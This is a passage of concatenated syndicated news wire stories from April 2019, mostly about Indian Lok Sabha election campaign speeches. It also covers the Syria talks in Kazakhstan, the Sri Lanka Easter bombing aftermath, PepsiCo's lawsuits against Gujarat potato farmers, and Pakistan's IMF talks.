rule, over 270 districts were affected by the Naxalism, terrorism or extremism. Our jawans and citizens were being killed and the government used to remain a silent spectator. Pakistan used to behead our soldiers. China used to come inside our borders. The situation has changed now," he added. "Let Narendra Modi become the prime minister once again, naxalism, terrorism and extremism will be finished from the soil of the country," the BJP leader said. Appealing to voters for support, Adityanath said,"To ensure that Modi becomes the Prime Minister and the BJP gets 400 seats, I have come here so that Kushinagar also becomes a part of this garland of victory." He exuded confidence that the BJP would win 74 out of 80 Lok Sabha constituencies in the state. Reaching out to sugarcane farmers, he said it has been decided that "sugar mills will keep crushing sugarcane till there is produce in the fields or else the mill owners would be sent to jail". He also criticised the Congress manifesto. "The BJP is contesting the elections on the issue of nationalism and the country is taking pride in it, but the Congress manifesto is a direct insult to the people of the country. They say that the law on treason will be done away with. How will the Congress work for the welfare of the country? Adityanath said. Voting in Kushinagar will take place in the last and seventh phase of the Lok Sabha elections on May 19. The BJP is facing SP-BSP-RLD alliance and the Congress in the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Two-day talks on Syria backed by Iran, Russia and Turkey concluded in Kazakhstan Friday without notable progress on forming a constitutional committee to drive a political settlement in the war-wrecked country. A joint statement released by the three co-sponsors said the meeting had broached the issue of the constitutional committee with the United Nations' Special Envoy for Syria, Geir Pedersen. However further talks in Geneva would be needed, it added. The parties were committed to "the establishment and the convening of the Constitutional Committee at the earliest in Geneva, holding the next round of consultations in Geneva and to support the Special Envoy's effort," the statement said. The constitutional committee is of particular interest to the UN which favours a Syrian-led resolution to the conflict. In comments after the end of the first day of talks on Thursday, Russia's chief negotiator Aleksandr Lavrentyev said that "several unclear issues" were slowing the formation of a constitutional committee but did not specify. Iran, Russia and Turkey also used the occasion of the negotiations in Kazakhstan's capital Nur-Sultan to reiterate criticism of the United States for recognising Israeli sovereignty over the Golan Heights. The three countries condemned the move as a "rude violation of sovereignty" that would "create a threat to peace and security in the Middle East," they said in a joint statement. The joint statement also said Iraq and Lebanon would be invited to the next talks in Kazakhstan on Syria in July. Jordan and the United States have observed the talks in the past. Russia, a backer of Syrian President Bashar al-Assad, has taken the lead role in diplomatic efforts in Kazakhstan that have largely sidelined UN diplomacy in Geneva. Tehran, like Moscow, is an ally of Assad, while Ankara has aligned itself with the rebels but has repeatedly threatened to attack Kurdish fighters on the Syrian side of its southern border that it views as "terrorists". The capital of Kazakhstan was called Astana until last month, when it was renamed Nur-Sultan after the country's outgoing president. It began hosting talks on Syria in January 2017. Syria's war has killed more than 370,000 people and displaced millions since the conflict began with the repression of anti-government protests in 2011. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress chief Rahul Gandhi Friday said the minimum income guarantee scheme the party has envisaged will put the country's economy back on track after it was allegedly hurt by the Centre's noteban and GST moves. Addressing a poll rally here in Ahmednagar district, Gandhi hit out at the Narendra Modi government over what he called the "highest" unemployment rate in the country in 45 years, particularly in the backdrop of the ruling BJP's 2014 pre-poll promise of providing two crore jobs a year. He assured that the 22 lakh vacant posts in government services will be filled within a year if his party is voted to power in the ongoing Lok Sabha elections. Gandhi said under the minimum income guarantee scheme, which the Congress has named as 'Nyay', Rs 72,000 per annum (or Rs 3.60 lakh in five years) would be disbursed to each of the country's poor, 25 crore in total (or 5 crore families). The Nyuntam Aay Yojana (Nyay), an anti-poverty programme, is part of the Congress's manifesto for the 2019 polls. The Congress president said the on-going Lok Sabha poll is "different" from other elections held in the past. He dubbed the 2019 election as being a battle of ideologies of "hatred of the BJP and love of the Congress". The Congress leader attacked Prime Minister Narendra Modi over the November 2016 demonetisation exercise and the July 2017 rollout of the Goods and Services Tax (GST). "Modi ji implemented demonetisation and inflicted the Gabbar Singh Tax. Modi ji snatched away the money the people had and gave it to the rich like Anil Ambani," Gandhi said. The Congress has been criticising GST as introduced by the NDA government as the "Gabbar Singh Tax". The Congress chief alleged that due to the twin decisions of demonetisation and GST, the purchasing power of people was blighted, which in turn, led to a drop in production of goods, resulting in unemployment as the factory owners slashed workforce owing to poor sales. "The moment the poor will have money (through the Nyay scheme), they will start purchasing, factories would start operating again and the youth will get employment again," he said, hard selling the minimum income scheme to voters. Gandhi said the Congress, when it comes to power, will bring a law to ensure farmers are not jailed for non-payment of loans. "The rich like Nirav Modi, Mehul Choksi, Vijay Mallya fled away, (and) are roaming out. But if a farmer from Maharashtra takes even a Rs 20,000 loan, (and) fails to repay, he is arrested. What kind of India is this?" Gandhi asked. "After the 2019 polls, no farmer of India would be jailed if he fails to repay loan. The Indian government will frame a law," he said. The Congress president said despite the BJP's 2014 poll promise of generating two crore jobs a year, 27,000 jobs are being lost a day under the NDA's watch. He assured that, after the Congress comes to power, the youth need not seek permission to start business for the first three years after it's started. "Once a youth is establishes his business in three years, then he can apply for permissions. In case the business fails to take off in the three years, leave it, you need not seek permission," Gandhi said. Gandhi accused Modi of giving false assurances like "putting Rs 15 lakh in everybody's bank account" and added he was not for making such promises. He said the Congress had promised loan waiver in Madhya Pradesh, Rajasthan and Chhattisgarh during the Assembly elections held there last year and kept its word after forming governments in these states. Gandhi attacked the Modi government over the Rafale deal and reiterated his charge that Anil Ambani got a Rs 30,000-crore contract despite lack of his company's experience in manufacturing such aircraft. In the past, Ambani has rejected Gandhi's allegations and emphasised that the government had no role in Rafale manufacturer Dassault, a French firm, picking his company, Reliance Defence, as a local partner. Sangamner is part of the Shirdi Lok Sabha constituency which will vote on April 29 along with 16 other parliamentary seats in the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi Friday said opposition leaders are in a race to support Pakistan on the issue of military operations against terror camps in the neighbouring country. Addressing an election rally here, he said after completion of voting in more than 300 Lok Sabha seats, his opponents have accepted that there is a (Modi) "wave" and have knelt before it. Modi told the gathering that their votes in favour of the BJP in 2014 made India strong and forced the world to look at the country with a different perspective. "Your one vote has made the country strong and changed the outlook of the world towards India in the last five years," Modi said. The PM said the opposition has always stood against India's stance on key issues with other countries. "They always stood in opposition to the countrys stand. Opposition leaders are in a race to support Pakistan on the issue of surgical strike, air strike or Doklam dispute (with China in 2017)," he said. Speaking on the issue of terrorism, Modi said military operations against terror camps launched under his watch were just "trailer"". "India is changing now. We have killed them (terrorists) by entering into their den. And whatever we have done is just a trailer, a sample. We have to wipe out terrorism from its roots," the prime minister said. Modi said after the end of three phases of Lok Sabha polls, covering 303 seats, it is clear which way people have voted. "The mandate for 300 seats is in. Those who were saying there was no wave, have now realised (that public opinion in favour of the BJP) and have now knelt before it," the prime minister said. "A sea of people undeterred by the scorching heat have gathered here...this shows they have joined hands for a building a new India," he said, pointing to the large crowd gathered at the rally. Modi said his government implemented the Goods and Services Tax (GST) in larger public interest and to boost the nations tax collection. "The Congress mentioned about implementing the GST regime three times its manifesto but couldn't do so as it lacked (political) will," he added. The rally was organised in support of BJP Lok Sabha candidate from Jabalpur Rakesh Singh, who is the sitting MP from the seat. Singh is also Madhya Pradesh BJP president. Madhya Pradesh, which has 29 Lok Sabha seats, will vote in four phases starting from April 29. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Over 130 suspects linked to the Islamic State (IS) terror group have been operating in Sri Lanka, President Maithripala Sirisena said Friday, days after the terror outfit claimed responsibility for the Easter bombings that claimed the lives of 253 people. The president said that several suspects have already been arrested following the Easter Sunday attacks, and the terror network will be completely eliminated from Sri Lanka. Information is that around 130-140 ISIS suspects linked to the terror network are in Sri Lanka. Around 70 are arrested, we will arrest them all very soon ending this (terror)," Sirisena said. Speaking further, the president said the Defence Secretary and Inspector General of Police had failed in their duties and that is why he called for their resignation. He said that they had failed to share prior information obtained by them over a possible terror attack in the country. The president added that he and the entire Government will also take the full responsibility for the attacks. Inspector General of Police Pujith Jayasundara and defence secretary Hemasiri Fernando have resigned from their posts over the security establishment's alleged failures which led to the attacks on three hotels and three churches on Sunday. "The IGP has resigned. He has sent his resignation to the acting defense secretary. I'll nominate a new IGP soon," the president said. The police chief's resignation came a day after the country's defence secretary Hemasiri Fernando handed over his resignation letter to the president. Nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on Easter Sunday. The Islamic State group has claimed responsibility for the attacks, but the government has blamed a local Islamist extremist group National Tawheed Jamath (NTJ) for the attacks. CPI-M general secretary Sitaram Yechury Friday said that Pakistan wants Narendra Modi to remain prime minister because it wants Hindu communalism to grow in India so that Muslim fundamentalism can be stronger in that country. Pakistan Prime Minister Imran Khan had told foreign journalists in Islamabad a day before the begining of the parliamentary election that there may be better chance of peacetalks with India and settling of the Kashmir issue if BJP wins. Pakistan wants Modi to win. Just a day before the elections started on April 11 Imran Khan had said that .... Then who is the friend of Pakistan and who is the enemy ? Modi in all his campaigns has been saying that Pakistan is afraid of him. "But the truth is that Pakistan wants him to be the PM because the logic is - stronger the Hindu communalism in India, stronger the Muslim fundamentalism in Pakistan. They feed each other, Yechury said hinting at a nexus between Modi and the Pakistani government. Yechury, who was speaking to reporters at the party office here, said that the situation is "exactly" similar in West Bengal. "This is exactly what is happening in West Bengal. There is a nexus between the TMC and the BJP. Competitive communalism feeds each other and grows at each others expense and it suits both TMC and BJP ... It helps them to give an impression that the fight between the two parties is on. But it is leading to a situation in Bengal in which actual issues of the people are being brushed aside," he said. The CPI-M leader also alleged that Modi and other BJP leaders are openly invoking the Armed forces in order to garner votes in violation of the Election Commisssions very specific instructions on the issue. "The EC must set its record straight and give confidence to the people that it is impartial and ensure free and fair elections," he said. On West Bengal Chief Minister Mamata Banerjee gifting Modi kurta and sweets, Yechury said, Banerjee said that it was courtesy. My point is why is there so much of secrecy. Yes, we do it occasionally. Kusti and dosti (wrestling and friendship) thats the point ... Is there some game plan going on ? "Friendship in Bengal and fight in Delhi is not going to work anymore," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Odisha Chief Minister Naveen Patnaik Friday took a swipe at Prime Minister Narendra Modi for visiting the state "10 times" for campaigning in the past one month, but not finding time even once during last five years when people were hit by natural calamities. The BJD president accused the saffron party of eyeing votes of Odia people, but not showing any interest in Odisha's development. "The Prime Minister has visited Odisha 10 times for election campaigning in one month. But, he could not find time to tour the state even once in last five years, when people are hit by natural calamities," Patnaik said. Patnaik had earlier ridiculed the BJP leaders frequent visit to Odisha as "election tourism". "It is votes of Odias and not the people of the state which is valuabe for BJP leaders," Patnaik alleged while addressing a series of election meetings in Jagatsinghpur and Kendrapara districts, where polling is scheduled to be held in the fourth phase on April 29. Justifying his allegation against Modi, Patnaik said the Prime Miknister had visited Andhra Pradesh on October 14, 2014 after cyclone Hudhud. He visited Bihar on August 26, 2017, Gujurat on July 25, Assam on August 1, 2017 and Kerala on August 18, 2018 to witness floods. But, he did not visit Odisha even once while the state battled natural calamities. "Odisha faced cyclone Hudhud in 2014, acute drought in 2015, devastating floods in 2017 and cyclone Titli and subsequent floods in 2018. Had the Prime Minister visited Odisha?" Patnaik asked. "I have been all along with the people of Odisha. I will remain with them," Patnaik, who is serving as CM continously for the past 19 years, said. While addressing a meeting at Ersama in Jagatsinghpur district where at least 10,000 people were killed in the 1999 super cyclone, Patnaik said: "That was the saddest moment in my life. Entire Odisha was devastated. Then I had pledged to ensure that not a single life will be lost to calamities. Now, Odisha is a model state in disaster management. Even United Nations has praised Odisha." Patnaik accused the BJP of blocking disbursement of assistance to farmers under KALIA scheme. He reiterated that all the eligible farmers will get the assistance on the first day of his government taking oath of the office after elections. Krushak Assistance for Livelihood and Income Augmentation (KALIA) scheme, provides financial, livelihood, cultivation support along with insurance support to small, marginal and the landless farmers of the state. The chief minister also undertook a road show in Kendrapara Lok Sabha segment where ruling BJD has fielded cine star Anubhav Mohanty against BJP's Baijayant Panda. Senior BJP leader and Union Minister Dharmendra Pradhan in a twitter post quipped "BJD has no other issue than opposing Modi. Naveen Patnaik has not made it clear on which issues the BJD is fighting polls. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Food and beverages giant PepsiCo Friday offered to settle lawsuits against four farmers who it has dragged to court for allegedly illegally growing a variety of potatoes "registered" by the company. Nine farmers from Sabarkantha and Aravalli districts are being sued by PepsiCo for allegedly growing a variety of potatoes for which it has claimed Plant Variety Protection (PVP) rights. During a hearing in the commercial court here Friday, the firm offered to settle the dispute if the farmers gave an undertaking to purchase this specific variety of seeds from the company and thereafter sell the potato produced to it. Senior counsel Anand Yagnik, who appeared for the four farmers of Sabarkantha district, told the court he will discuss this settlement proposal with the farmers and inform the court about the outcome during the next hearing. Commercial Court Judge M C Tyagi Friday extended its previous order restricting these farmers from using the patented seeds till the next hearing, which was kept for June 12. The multinational giant has sought damages of Rs 1 crore from each of the four farmers in its suit filed at the commercial court in Ahmedabad, and Rs 20 lakh from each of the farmers sued at a district court in Modasa town of Arvalli district. Two days ago, over 190 activists came out in support of these farmers and also requested the Union government to ask PepsiCo India to withdraw its "false" cases against Gujarat farmers. In a letter to the Ministry of Agriculture, 194 signatories have sought financial aid and protection of rights of farmers who have been sued for growing and selling a potato variety called FC-5 potato, for which PepsiCo India Holdings claimed to have obtained "exclusive rights in the country in 2016". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Food and beverages giant PepsiCo Friday offered to settle lawsuits against four farmers whom it had dragged to court for "illegally" growing a variety of potatoes "registered" by the company. Nine farmers from Sabarkantha and Aravalli districts have been sued by the firm for allegedly growing a variety of potatoes for which it has claimed Plant Variety Protection (PVP) rights. During a hearing in the commercial court here Friday, the firm offered to settle the dispute if the farmers gave an undertaking to purchase this specific variety of seeds from the company and thereafter sell the potato produce to it. Senior counsel Anand Yagnik, who appeared for the four farmers of Sabarkantha district, told the court he would discuss the settlement proposal with the farmers and inform the court about the outcome in the next hearing. Commercial Court Judge M C Tyagi Friday extended its previous order restricting the farmers from using the patented seeds till the next hearing, which was kept for June 12. The multinational giant has sought damages of Rs 1 crore from each of the four farmers of Sabarkantha in its suit at the commercial court, and Rs 20 lakh from each of the farmers sued at a district court in Modasa town of Arvalli district. In a statement, PepsiCo said it was "compelled" to take the legal path to safeguard the interests of farmers associated with the firm. "PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety. PepsiCo has also proposed that they may become part of its collaborative potato farming program. "This program gives them access to higher yields, enhanced quality, training in best-in-class practices and better prices," the statement read. "In case, they do not wish to join this program, they can simply sign an agreement and grow other available varieties of potatoes. It is significant to note that the company's collaborative potato farming program is best in class and is built on strong backward and forward linkages that improve livelihoods by using protected seeds," it said. "The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers who are engaged with its collaborative potato farming program. PepsiCo India remains deeply committed to resolving the matter and ensuring adoption of best farming practices," the statement said. Two days ago, over 190 activists came out in support of these farmers and requested the Union government to ask the multinational giant to withdraw its "false" cases against the Gujarat farmers. In a letter to the Ministry of Agriculture, 194 signatories sought financial aid and protection of rights of farmers who have been sued for growing and selling the potato variety called FC-5 potato, for which PepsiCo India Holdings claimed to have obtained "exclusive rights in the country in 2016". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The SP and the BSP Friday attacked Prime Minister Narendra Modi for "doing nothing" for Uttar Pradesh's "thirsty" Bundelkhand region and claimed that people will bid goodbye to those chanting 'NaMo, NaMo'. The Samajwadi Party (SP), Bahujan Samaj Party (BSP) and the Rashtriya Lok Dal (RLD) are fighting the Lok Sabha elections in an alliance in the state. While SP chief Akhilesh Yadav dubbed Yogi Adityanath as "baba chief minister" and attacked Modi on the Budelkhand issue in a rally in Jhansi, BSP supremo Mayawati in Jalaun said the BJP will be ousted and no drama is going to help them. "Sometime ago the prime minister had come here and told a story about the Kutch region in Gujarat which faced water problem and said life there has changed...the reality (here) is that he has done nothing for thirsty Bundelkhand," Yadav said. "Have you all forgotten about the promises made in the 2014 elections...I want to ask the people of Jhansi and nearby places as to what change has come in your lives in the past five years," he said. Taking a dig at local MP Uma Bharti, who is not in poll fray this time, Yadav said, "Remember she headed the department related to water and she had the responsibility of cleaning the Ganga." There is no water in Bundelkhand, "will have to go elsewhere for drowning...she (Bharti) did not have the courage to face the people of Jhansi," the SP chief said. Referring to Chief Minister Adityanath, he said, "Our state has a baba chief minister...when the baba chief minister had come for the first time before you he had talked about the Bundelkhand Expressway and Metro station in Jhansi." "Till yesterday, we had full faith in babas but don't know if it will be so now...you people tell me where is the metro station (in Jhansi), I also want to sit in the metro," he said adding that the "baba" chief minister knows nothing about roads and expressways. The former chief minister said the then SP government had given its share meant for development works to Jhansi but the Centre has yet to fulfil its responsibility. On the prime minister, Yadav said, "Earlier he (Modi) had come in our midst as a 'chaiwala' (teaseller) now he has come as 'chowkidar' (watchman)...how much are you going to believe him." "When their tea turned bad, the people have to decide that the chowki of chowkidar needs to be snatched," he said. The chief minister says in the state assembly that if law and order has to be improved then criminals need to be "knocked down...police does not understand who has to be knocked down...they are knocking down the people and people, when they get a chance, knock the police down," Yadav claimed It was under the "thoko policy" that the MP and the MLA of Sant Kabirnagar started knocking each other down, he remarked, referring to the exchange of blows at a meeting between the two BJP lawmakers recently. In her address, BSP supremo Mayawati said people are going to bid goodbye to those chanting 'NaMo, NaMo' and choose the ones who follow 'Jai Bhim' in this Lok Sabha election. "This time you all are going to bid goodbye to the NaMo-NaMo people and choose Jai Bhim followers in the elections," she said Modi is often referred to as 'NaMo' by his supporters. Mayawati said the BJP will be removed from power at the Centre this time and no amount of "jumlebaazi (gimmicks)" or "natakbaazi (drama)" is going to help them. "Their new 'natakbazi of chowkidari' is also not going to save them," the BSP supremo added. She alleged that the BJP had made several promises before coming to power but all of those turned out to be hollow. Targeting the Congress, Mayawati said although the party had been in power for most of the time since Independence, its wrong policies and works ultimately led to its ouster. She accused the Congress of ignoring those belonging to the 'sarv samaj', especially the weaker sections, the poor and the unemployed, and alleged that the party neglected Bundelkhand and did nothing for poverty alleviation and employment generation in this region. The Congress says it will remove poverty but had they really done anything about it, the party would not have gone out of power, the BSP chief said. "Had they taken care of the 'sarv samaj', we would not have felt the need to form the BSP," she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan Prime Minister Imran Khan Friday held separate meetings with IMF chief Christine Lagarde and World Bank CEO Kristalina Georgieva here and discussed the cash-strapped country's efforts to tide over the financial woes. Pakistan is seeking USD 8 billion from the International Monetary Fund (IMF) to bail itself out from a severe balance-of-payments crisis that threatens to cripple the country's economy. Khan met IMF Managing Director Lagarde and World Bank Chief Executive Officer Georgieva on the sidelines of the 2nd Belt and Road Forum (BRF) hosted by Chinese President Xi Jinping in Beijing, Pakistani media reported. After the meeting, Lagard tweeted that she was glad to meet Khan in a meeting where a comprehensive policy package was discussed to alleviate Pakistan's economy. "We discussed prospects for a comprehensive policy package and international financial support to help stabilize the economy of Pakistan, and also the need to strengthen governance and protect the poor," she said. An IMF team is scheduled to arrive in Islamabad later this month for a round of talks, Geo reported. Prime Minister Khan recently named Abdul Hafeez Sheikh, a former World Bank official who was federal finance minister from 2010-2013, as "adviser on finance" replacing Asad Umar. The newly-appointed head of Pakistan's finance ministry has vowed to speed up talks with the IMF as Islamabad seeks a crucial bailout deal. Meanwhile, the World Bank on Friday pledged to further strengthen cooperation with Pakistan, in a meeting between Prime Minister Khan and the global lender's top official. Georgieva assured of further strengthening cooperation with Pakistan in the areas of disbursements programme lending and guaranteed provision for raising external funds, Dawn quoted a press release issued by the Pakistani embassy in Beijing, as saying. Prime Minister Khan informed her about the recent steps taken by his government to improve Pakistan's economic and fiscal situation. He also apprised the official about the socioeconomic measures taken by the government to lift the people out of poverty. He appreciated the role played by the World Bank in regional connectivity, poverty alleviation, financial management, infrastructure projects and ease of doing business. Khan was accompanied by Adviser on Finance Abdul Hafeez Shaikh, Foreign Minister Shah Mehmood Qureshi and Adviser on Commerce Abdul Razzak Dawood. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Targeting the Congress on corruption, Prime Minister Narendra Modi Friday said the party committed the "Tughlaq road election scam", whose money was being used for the poll campaign of its chief Rahul Gandhi. Addressing a poll rally here, Modi said that in the Congress culture, corruption was the "only protocol". The prime minister also stressed that the law was equal for all and that even his residence should be raided by Income Tax department if he was involved in any wrongdoing. "The food meant for children and pregnant women under a government scheme was snatched from them...the money was siphoned off to Tughlaq Road residence of a Congress leader in Delhi," Modi said. "That money is being used for the poll campaign," he said, attacking Gandhi. The Income Tax Department recently conducted raids on close aides of Madhya Pradesh Chief Minister and Congress leader Kamal Nath. The Central Board of Direct Taxes had said the department has also detected a trail of Rs 20 crore suspect cash allegedly being moved to the "headquarters of a major political party in Delhi" from the house of an important person who lives on Tughlaq Road, home to many VIPs. Modi also said money disbursed by the Central government for farmers in Madhya Pradesh under its schemes was yet to reach the beneficiaries. He accused the Kamal Nath dispensation in the state of not sharing with the Centre the list of farmers requiring the help. Taking a jibe at the MP chief minister, Modi said perhaps Kamal Nath was "too busy" to share the list with the Centre due to his Switzerland visit and political grooming of his son. The prime minister also expounded pro-farmer and pro- women measures his government took. Modi said Karnataka Chief Minister HD Kumaraswamy had insulted soldiers with his reported remark that only those who cannot manage two square meals a day seek jobs in armed forces. He also took potshots at "those from the opposition parties aspiring to become the next prime minister". They have already ordered their tailors for new attires, he added. Modi asked the people who from among the opposition wanting to become the PM can wipe out terrorism. When they replied chanting his name, he said it not him but their "one vote" that would combat terrorism. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : Puducherry is expected to get heavy rain during the next few days due to a low pressure area over Bay of Bengal which could transform into a cyclone Fani. Territorial Chief Minister V Narayanasamy held discussions with officials of various departments, including Revenue and Disaster Management, along with his ministerial colleagues, after the sounding of the alert. The India Meteorological Department (IMD) issued the alert for Tamil Nadu and Puducherry that a cyclone would hit the coastal areas on April 30 triggering heavy rainfall during the subsequent days. "Puducherry is bracing itself up after the IMD issued the alert," the Chief Minister told reporters after the meeting. Narayanasamy said that control rooms would be in place at the Collectorate and a few other departments, including that of agriculture, to respond to calls for help. He saidfishermen have been asked not to venture out into the sea. He said the departments of agriculture, public works, local administration, fisheries and revenue and disaster management have been geared up in the wake of the forecast of the cyclone. "Myself and ministers would fan out to different areas of Puducherry and Karaikal regions to monitor the rehabilitation and relief works. All the staff which have gone on leave should report back immediately," he said. Chief Secretary and other officials have already held a series of meetings to face the situation, the Chief Minister said. Those living in low-lying areas would be evacuated from Saturday to safer places as a precautionary measures, the Chief Minister said. Local Administration Minister A Namassivayam and Revenue Minister M O H F Shah Jahan held joint meeting of officials of their departments to work out a roadmap to rise up to any exigency. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian President Vladimir Putin praised China's Belt and Road infrastructure initiative Friday, underscoring warming ties between the neighbouring powers. Putin's comments Friday to a forum in Beijing appeared to downplay the potential for tensions between China and Russia. They also reflect Beijing and Moscow's shared resistance to US global influence. The Belt and Road is rapidly expanding China's economic footprint in Central Asia, Moscow's traditional sphere of influence. But in an interview published Thursday remarking on 70 years of diplomatic relations, Putin praised Russia-China ties. "It would be no exaggeration to say that our countries have approached this anniversary with relations the best they have been in their entire history," Putin said. "This is the result of meticulous and successful work over the past thirty years." In a further sign of growing trust, the navies of the two countries will start several days of joint drills next week. Russian wariness over China's rising clout appears to have subsided somewhat, thanks partly to their shared rivalry with the West, especially Washington. Putin told three-dozen leaders gathered for the conference that the Belt and Road is "intended to strengthen the creative cooperation of the states of Eurasia." "And it fits perfectly into our plans," he added. Putin was referring to the Eurasian Economic Union, which groups Russia with Armenia, Belarus, Kazakhstan and Kyrgyzstan in a common market that seeks to remove barriers to the free movement of goods, services, capital and labour. The five member states "unanimously supported the idea of linking the construction of the Eurasian Economic Community" and the Belt and Road, Putin said. Putin met with Xi on the sidelines of the conference. He visited Beijing just after wrapping up a summit with North Korean leader Kim Jong Un in Russia's Far Eastern port city of Vladivostok. In his interview with the Chinese ruling Communist Party's flagship People's Daily published Thursday, he praised the "strategic partnership" with Beijing that replaced decades of Cold War mistrust when the two were communist rivals for leadership. Putin reviewed progress in resolving lingering border disagreements, increasing tourism and trade, which hit a record USD 100 billion last year. He also asserted that some Western countries are claiming "sole global leadership." The "Joint Sea 2019" drills taking place from Monday to Saturday will feature ships and submarines along with fixed-wing aircraft, helicopters and marine units. The exercises follow participation last September of about 3,200 Chinese troops in Russia's largest-ever war games in Siberia, where nearly 300,000 Russian troops conducted drills amid rising tensions with NATO. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Exuding confidence that the Congress will return to power after the elections, senior leader Raj Babbar on Friday asserted that party president Rahul Gandhi was the only alternative to the BJP. Accusing the Trinamool Congress of aiding the BJP's growth in Bengal, Babbar said the Mamata Banerjee-led party has resorted to violence as it was afraid that free and fair polls might result in its defeat. "The Congress will return to power in the Lok Sabha elections. Rahul Gandhi is the only alternative to the BJP in the country," Babbar, who is also president of the Uttar Pradesh unit of the grand old party, told reporters. Criticising the ruling party in the state, he said, "The TMC is afraid of free and fair polls. That is why it has resorted to violence. It is shameful that the party doesn't have any respect for democratic norms." Babbar also referred to a recent interview of Prime Minister Narendra Modi to question the TMC's anti-BJP stand. In a televised interview on Tuesday, Modi said the Trinamool Congress supremo sends him kurtas, which she chooses personally for him, and Bengali sweets, every year. "People will have to rethink about TMC's credibility in fighting the BJP," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A chartered flight carrying Congress president Rahul Gandhi to Patna was forced to return to Delhi on Friday due to a technical snag, prompting aviation regulator DGCA to launch a probe into the incident. Gandhi wrote on Twitter that the plane returned after experiencing "engine trouble" and also posted a video of the flight which shows him, the pilot and the co-pilot in the plane. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi," Gandhi tweeted. "Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience," he said. Later, Gandhi addressed a rally in Bihar's Samastipur where he shared the stage with RJD heir apparent Tejashwi Yadav for the first time after the general elections were announced. A senior Directorate General of Civil Aviation (DGCA) official said the Hawker 850 XP aircraft VT-KNB returned to Delhi due to a technical snag. "The DGCA has initiated investigation as per the laid down procedure," he told PTI. The aircraft landed safely in Delhi at 10.20 am. Ten people, including two crew members, were on board when the incident occurred, the official said. The aircraft VT-KNB belongs to the Delhi-based company Forum 1 Aviation Private Limited. According to the company's website, the plane was acquired "brand new in 2006" and it can fly anywhere in India. The Hawker 850 XP typically has a configuration of two seats for pilots and eight for passengers. Gandhi is on a campaign trail, criss-crossing the length and breadth of the country for the Lok Sabha polls. This is not the first time Gandhi's plane has experienced trouble mid-air. On April 26 last year, a plane carrying Gandhi and some others from Delhi to Hubballi airport in Karnataka for campaigning for assembly polls developed a technical problem and tilted heavily on the left side. The plane dipped steeply with violent shuddering, but soon recovered and landed safely. The DGCA had come out with its 30-page report on that incident in which it pinned the blame on the pilots for the near-crash of the Congress president's chartered plane. After the incident, Gandhi had expressed his desire to go on Mansarovar Yatra, which he undertook later that year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Finance Minister Arun Jaitley Friday said Congress President Rahul Gandhi is showing signs of desperation as the "fake" narratives built by him over the Rafale jet deal and loan waivers to business houses have evaporated. In a Facebook post, Jaitley said the desperation reached a peak when Gandhi offered four Lok Sabha seats in Delhi to the Aam Aadmi Party without realising that its chief Arvind Kejriwal was "playing games" with the Congress. "He (Gandhi) displayed the desperation of a loser," Jaitley said. In a post titled 'Has the Congress Thrown its Hands up?', the minister said the Congress is 48 years behind the times and is fighting 2019 elections on the 1971 agenda though India's social combination and economic profile has completely changed since then. "The Congress is contesting the 2019 election on the 1971 agenda. It is not in tune with the times. The writing on the wall is loud and clear. Those who lived a life of entitlement all through, give up when office seems to be a distant dream," he said. The 'New India' is a positive India, Jaitley said, adding it does not accept the negativism of Rahul Gandhi, Arvind Kejriwal, Mamata Banerjee and TDP. The minister further claimed that going by the euphoric reaction on the ground, the Bharatiya Janata Party (BJP) would get a larger mandate in the ongoing general elections than what it had received in 2014. "Rahul Gandhi, in the last one year, built up a fake narrative on Rafale and loan waiver to business houses, which was contrary to the truth. The fake issues evaporated and now strike no chord in the electorate," he said. The "desperation of Gandhi was at a climax" when the Congress and the NCP outsourced the job of attacking Prime Minister Narendra Modi to Raj Thackeray without realising the fallout of such a move in Uttar Pradesh, Bihar and other north Indian States, Jaitley said. Voting for the first three rounds of the elections covering 303 Parliamentary seats are over and there is a "groundswell" for the BJP, he added. "The Congress is in no position to effectively take on the regional parties or the BJP... The euphoric reaction at the ground suggests a mandate larger than 2014. A 65 per cent to 70 per cent approval rating for an incumbent Prime Minister is unprecedented in India," Jaitley said. The seven-phased elections will be over on May 19 and counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lanka's ousted defence secretary Hemasiri Fernando Friday claimed that he had to quit to "protect" his political bosses while asserting that he followed the standard procedures while dealing with advance intelligence inputs on the deadly Easter Sunday terror attacks. Amidst public outcry over the massive intelligence failure to avert the suicide attacks, President Maithripala Sirisena on Wednesday sought the resignation of Fernando as well as the Inspector General of Police Pujith Jayasundara. While Fernando quit on Thursday, Jayasundara tendered his resignation on Friday. Sirisena said the intelligence supplied by a friendly nation was not shared with him by senior officials. "All they have done was to exchange letters among themselves," he said. "I asked both police chief and defence secretary why the information was not shared with me, they remained silent," he said. But in a statement prior to tendering his resignation, Fernando said he had forwarded all intelligence information regarding the Easter Sunday attacks to the relevant institutions for action following the standard procedures. He claimed that all advice and orders had also been given and at a time when there was no Emergency or any other special situation enforced in the country, the entire responsibility was with the police, which had conducted arrests and search operations. While Fernando came under fire over the Easter Sunday attacks, he had confided in several media heads that he had in fact immediately notified the relevant political authorities regarding the intelligence warning, the Sri Lanka Mirror reported. However he said that in order to "protect these political authorities he would have to resign from his post", the report said. Nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday. The Islamic State group has claimed the attacks, 